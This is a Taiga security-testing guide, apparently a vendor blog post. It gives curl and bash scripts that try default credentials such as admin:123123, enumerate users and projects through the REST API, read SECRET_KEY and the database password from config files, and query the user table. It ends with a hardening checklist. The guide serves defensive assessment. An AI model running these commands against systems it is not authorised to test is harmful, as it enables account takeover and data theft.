Project Management Security Testing

Taiga Security Testing: Default Credentials, API Token, Project Data, and Database

📅 July 3, 2026 ⏱ 11 min read 🏷 Taiga, Project Management Security, API Token, Django Admin, PostgreSQL, Secret Key, Agile Tool Security

Taiga is a widely deployed open-source agile project management platform built on Django (Python) and Angular, used by development teams to manage sprints, user stories, epics, issues, and kanban boards. Its REST API and Django admin backend are the primary attack surfaces. Key assessment areas: Taiga's REST API returns auth tokens that provide access to all project data including roadmaps, epics, and user stories; the Django admin panel at /admin/ provides superuser-level access to all database records; config.py (or settings/local.py) stores the PostgreSQL password and Django SECRET_KEY (enabling session cookie forgery); a default superuser account is created during initial setup and may retain weak credentials in self-hosted deployments; and Taiga's media file directory may be publicly accessible without authentication if the web server is misconfigured. This guide covers systematic Taiga security assessment.

API Authentication and Default Credentials
REST API Project Data Enumeration
config.py Credentials and Django Admin Access
Taiga Security Hardening

API Authentication and Default Credentials

# Taiga — authentication and default credential testing
TAIGA_URL="https://taiga.example.com"

# Obtain auth token via REST API — try common credentials
# Default setup often uses admin@taiga.io / 123123 or custom superuser created during install
curl -s -X POST "${TAIGA_URL}/api/v1/auth" \
  -H "Content-Type: application/json" \
  -d '{"type":"normal","username":"admin","password":"123123"}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if 'auth_token' in d:
    print(f'AUTH TOKEN: {d[\"auth_token\"]}')
    print(f'User: {d.get(\"username\")} ({d.get(\"email\")})')
    print(f'Is superuser: {d.get(\"is_superuser\")}')
else:
    print(f'Login failed: {d}')
" 2>/dev/null

# Try additional common default credentials
for CREDS in "admin:admin" "taiga:taiga" "admin:password" "admin:123456"; do
  USER="${CREDS%:*}"
  PASS="${CREDS#*:}"
  STATUS=$(curl -s -X POST "${TAIGA_URL}/api/v1/auth" \
    -H "Content-Type: application/json" \
    -d "{\"type\":\"normal\",\"username\":\"${USER}\",\"password\":\"${PASS}\"}" 2>/dev/null | \
    python3 -c "import json,sys; d=json.load(sys.stdin); print('OK' if 'auth_token' in d else 'FAIL')" 2>/dev/null)
  echo "${CREDS}: $STATUS"
done

# Check if registration is open — unauthenticated user registration
curl -s -X POST "${TAIGA_URL}/api/v1/auth/register" \
  -H "Content-Type: application/json" \
  -d '{"type":"public","username":"testuser123","email":"test@example.com","password":"TestPassword123!","full_name":"Test User","accepted_terms":true}' \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print('Registration open:', 'auth_token' in d or 'id' in d)
print(json.dumps(d, indent=2)[:300])
" 2>/dev/null

REST API Project Data Enumeration

# Taiga REST API — project and user data enumeration
TAIGA_URL="https://taiga.example.com"
AUTH_TOKEN="your-taiga-auth-token"

# List all projects accessible to the authenticated user
curl -s "${TAIGA_URL}/api/v1/projects" \
  -H "Authorization: Bearer ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
    print(f'Projects: {len(d)}')
    for p in d:
        print(f'  [{p.get(\"id\")}] {p.get(\"name\")} slug={p.get(\"slug\")} members={p.get(\"total_memberships\")} is_private={p.get(\"is_private\")}')
" 2>/dev/null

# Enumerate all users registered in the Taiga instance
curl -s "${TAIGA_URL}/api/v1/users" \
  -H "Authorization: Bearer ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
    print(f'Users: {len(d)}')
    for u in d[:20]:
        print(f'  [{u.get(\"id\")}] {u.get(\"username\")} email={u.get(\"email\")} full_name={u.get(\"full_name\")}')
" 2>/dev/null

# Enumerate user stories across all projects
PROJECT_ID="1"
curl -s "${TAIGA_URL}/api/v1/userstories?project=${PROJECT_ID}&page_size=100" \
  -H "Authorization: Bearer ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
    print(f'User stories in project ${PROJECT_ID}: {len(d)}')
    for s in d[:10]:
        print(f'  [{s.get(\"ref\")}] {s.get(\"subject\")} status={s.get(\"status_extra_info\",{}).get(\"name\")} assigned={s.get(\"assigned_to_extra_info\",{}).get(\"username\")}')
" 2>/dev/null

# Get project milestones/sprints — timeline information
curl -s "${TAIGA_URL}/api/v1/milestones?project=${PROJECT_ID}" \
  -H "Authorization: Bearer ${AUTH_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
if isinstance(d,list):
    for m in d:
        print(f'Sprint: {m.get(\"name\")} ({m.get(\"estimated_start\")} to {m.get(\"estimated_finish\")})')
" 2>/dev/null

config.py Credentials and Django Admin Access

# Taiga config.py and Django admin security testing

# config.py / settings/local.py — PostgreSQL credentials and SECRET_KEY
cat /home/taiga/taiga-back/settings/local.py 2>/dev/null | \
  grep -E "PASSWORD|SECRET_KEY|DATABASES|TAIGA_SECRET_KEY"
# DATABASES['default']['PASSWORD'] — PostgreSQL password
# SECRET_KEY — Django secret for session cookie signing

# Alternate config location (Docker deployments)
docker exec taiga-back env 2>/dev/null | \
  grep -E "TAIGA_SECRET_KEY|POSTGRES_PASSWORD|DATABASE_URL|DJANGO_SECRET"

# Django admin panel — access with superuser credentials
# Navigate to: ${TAIGA_URL}/admin/
# Check for model access: users/auth/users — all user records with password hashes
curl -s -c /tmp/taiga_sess -b /tmp/taiga_sess \
  -X POST "${TAIGA_URL}/admin/login/" \
  --data "username=admin&password=123123&next=/admin/" \
  -L 2>/dev/null | grep -i "dashboard\|site administration\|invalid" | head -3

# PostgreSQL direct access — user table with password hashes
psql -U taiga -d taiga 2>/dev/null << 'EOF'
SELECT id, username, email, is_superuser, is_active, date_joined
FROM users_user
WHERE is_active = true
ORDER BY is_superuser DESC, id
LIMIT 20;
EOF

# Check if media files are publicly accessible (unauthenticated)
# Taiga stores project attachments in the media/ directory
curl -s -o /dev/null -w "%{http_code}" \
  "${TAIGA_URL}/media/attachments/project/" 2>/dev/null
# 200/403 difference: 200 = directory listing enabled (critical)

Taiga Security Hardening

Taiga Security Hardening Checklist:

Change the default superuser password immediately after installation — Taiga's initial setup creates a superuser account that is used to bootstrap the system; in many self-hosted deployments the password is set to a weak value like "123123" or matches the username; the superuser account has access to the Django admin panel at /admin/ which provides read/write access to all database tables including all user accounts, all projects regardless of visibility settings, and all project data; change the superuser password immediately and restrict admin panel access by IP at the web server level
Protect config.py / local.py and SECRET_KEY from unauthorized access — Taiga's Django configuration file contains the DATABASES password (PostgreSQL), the SECRET_KEY (used to sign session cookies — knowing SECRET_KEY allows forging sessions for any user including admin), and any configured email server credentials; restrict config files to 600 owned by the taiga user; rotate the SECRET_KEY if it has been exposed (this invalidates all existing sessions); for Docker deployments use Docker secrets rather than environment variables for sensitive credentials
Disable public registration if Taiga is for internal use — Taiga supports open registration by default in some versions; if registration is open, any user can create an account, access public projects, and potentially join projects via invitation links; disable public registration via Settings > Registration settings if Taiga is deployed for internal team use only; for Docker deployments set PUBLIC_REGISTER_ENABLED=False in the taiga-back environment configuration
Configure the web server to prevent direct media file access — Taiga stores project attachments, screenshots, and uploaded files in the media/ directory; if the media directory is directly accessible via the web server without authentication checks (which Taiga's Django application would otherwise enforce), any files can be accessed by unauthenticated users who know or can guess the URL; configure nginx or Apache to proxy all requests through the Django application or implement access control on the media directory; file URLs in Taiga include UUIDs but should not rely on obscurity as the only access control
Restrict the Taiga API and admin panel to authorized networks — Taiga's REST API is designed for external integration but should be restricted to authorized IP ranges if the instance is internal; the /api/v1/users endpoint returns all registered users and their email addresses to any authenticated user; the /admin/ Django admin panel should be restricted to administrative network ranges via nginx location blocks or firewall rules; consider implementing an API gateway or reverse proxy with additional authentication for externally-exposed Taiga instances

Security Test	Method	Risk
Default superuser credential exploitation	POST /api/v1/auth with admin:123123 or common passwords — auth_token returned; full API access to all projects, user stories, epics, issues, wiki pages, and user data across all projects	Critical
REST API project and user enumeration	GET /api/v1/projects — all projects with member counts; GET /api/v1/users — all registered users with emails; GET /api/v1/userstories — all backlog items with content and assignees; reveals entire organizational structure and roadmap	High
Django admin panel access	POST /admin/login/ with superuser credentials — full Django admin access; read/write to all database tables including auth_user (password hashes), all project tables, sprint data, and attachments	Critical
config.py SECRET_KEY and PostgreSQL credential extraction	Read settings/local.py — DATABASES PASSWORD and SECRET_KEY; SECRET_KEY enables session cookie forgery for any user; PostgreSQL access exposes all data and password hashes	Critical
Unauthenticated media file access	GET /media/attachments/ — if web server serves media directory without Django authentication; project attachments, screenshots, and uploaded documents accessible to unauthenticated users	High (if misconfigured)

Automate Taiga Security Testing

Ironimo tests Taiga deployments for default credential exploitation via REST API authentication, complete project and user enumeration including emails and roadmaps, Django admin panel access control assessment, config.py SECRET_KEY and PostgreSQL credential extraction, open registration testing, media file unauthenticated access verification, session cookie forgery feasibility when SECRET_KEY is exposed, and PostgreSQL user password hash extraction from users_user table.

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Table of Contents

API Authentication and Default Credentials

REST API Project Data Enumeration

config.py Credentials and Django Admin Access

Taiga Security Hardening

Automate Taiga Security Testing